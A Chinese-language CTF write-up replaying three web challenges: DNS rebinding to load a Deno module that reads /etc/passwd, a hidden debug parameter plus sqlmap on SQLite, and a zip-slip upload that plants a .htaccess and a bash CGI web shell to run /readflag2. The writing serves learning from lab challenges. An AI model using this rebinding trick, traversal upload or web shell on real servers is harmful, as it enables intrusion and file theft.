2025高校管理运维赛复现

前言

早知道不做理论题了(),这个比赛的CTF有点逆天,本来不想复现的

题目

ezdeno

这道题提供了一个接口调用指定url的ts文件,可以调用执行,ssrf?这里似乎只能调用localhost?
WP的方法没接触过,来复现一下

1
使用 DNS Rebinding 技巧。多次调用 `7f000001.${hostHex}.rbndr.us:port/module/exp.ts` 可以让这个域名进入白名单后,DNS 重新绑定到真实主机并执行 Exp。

这里利用了DNS重绑定进行绕过
首次DNS解析:返回 7f000001.ac110001.rbndr.us → 127.0.0.1
认为这是”安全”的
第二次DNS解析:返回真正的目标IP 172.17.0.1(vps地址)
攻击生效:浏览器向172.17.0.1:8000 发送请求
我们简单开下vps试一下效果,ts文件内容如下

1
2
3
export default function exp() {
return Deno.readTextFileSync('/etc/passwd')
}

这里转换是基于

1
2
3
const hostHex = HOST.split('.')
.map((x) => ('0' + parseInt(x).toString(16)).slice(-2))
.join('')

这里结合vps得到域名http://7f000001.xxxxxx.rbndr.us:5000/module/exp.ts
然后在invoke端口多传几遍,即可回显/etc/passwd
执行命令

一直对于DNS重绑定只是耳熟从未碰到,如今也是一窥真容了
这里有个网站https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg,可以看看

而对于DNS重绑定如果需要更好的理解,训练,可以看这篇文章https://xz.aliyun.com/news/7091
跟着搭一下会有不错效果

eznode

这道题需要信息收集看到一个manege接口
然后config接口看到mode=debug,然后flag被保护
这个时候直接/manege?mode=debug即可看到flag
或者找到manege接口之后直接arjun扫
再看config拿到flag1
-开启sql注入接口
直接sqlmap注入 --batch
确定sqlite,再dump即可看到flag2
信息收集?我去你的

rustpages

可能是强网磨灭了我扫目录的心情,我都没扫()
先扫目录看到
/api/swagger.json
该文档暴露所有接口信息,因此,找到/api/debug
这里两个参数一个路径一个文件名,直接读取flag1

1
2
../../../../../
/flag1

flag2

根目录的flag2读取需要权限,与此同时,存在/readflag2
此时需要寻找rce
现在实现任意文件读之后,就可以读取源码了
这样审计源代码之后发现,密钥被硬编码,即泄露
现在可以伪造登录,调用zip上传等接口
这个地方,存在../,可以跨目录写入
再读Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
FROM rust:slim

WORKDIR /app

COPY Cargo.toml Cargo.lock ./
RUN mkdir src && \
echo 'fn main() { println!("Placeholder"); }' > src/main.rs && \
cargo build --release

COPY src ./src/
RUN touch src/main.rs && \
cargo build --release

RUN apt-get update && \
apt-get install -y --no-install-recommends ca-certificates apache2 sudo && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
COPY apache2.conf /etc/apache2/apache2.conf
COPY 000-default.conf /etc/apache2/sites-available/000-default.conf
RUN a2enmod proxy proxy_http cgi rewrite
RUN a2dismod status
COPY static/. /var/www/html/

COPY Dockerfile ./
COPY readflag2.c /readflag2.c
RUN gcc -static -o /readflag2 /readflag2.c && \
rm /readflag2.c && \
chmod +s /readflag2

RUN chown -R www-data:www-data /var/www/html && \
chown -R www-data:www-data /app

CMD ["/bin/bash", "-c", "chmod 444 /flag1 && chmod 000 /flag2 && (apache2ctl -D FOREGROUND & sudo -u www-data ./target/release/rust-pages)"]

发现该服务

1
以 www-data 用户运行的,由 Apache 提供反向代理。Apache 启用了 CGI 模块,且 `/var/www/html` 目录是 www-data 用户可写的,因此可以将 `.htaccess` 和 CGI WebShell 脚本写入 `/var/www/html` 目录,从而实现 RCE,运行 `/readflag2` 以读取 flag2。

这是wp的超绝脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
manifest = {
"webroot": "a/b/c/d",
}
io = BytesIO()
exp = zipfile.ZipFile(io, "w")
exp.writestr("manifest.json", json.dumps(manifest).encode("utf-8"))
exp.writestr(
"a/b/c/d/../../../../var/www/html/.htaccess",
b"""Options ExecCGI
AddHandler cgi-script .cgi
""",
)
exp.writestr(
"a/b/c/d/../../../../var/www/html/shell.cgi",
b"""#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "$QUERY_STRING" | sed "s/%20/ /g" | bash 2>&1
""",
)
exp.close()

session.post(
f"{url}/api/sites",
files={"archive": ("exp.zip", io.getvalue(), "application/zip")},
)
flag2 = session.get(f"{url}/shell.cgi?/readflag2").text
print("[+] Flag2:", flag2)

成功执行命令拿到flag2
其实题目还不错(),可以学到东西,任意文件传到RCE

结语

做的挺怪倒是,信息搜集不到位?知识面有欠缺?得练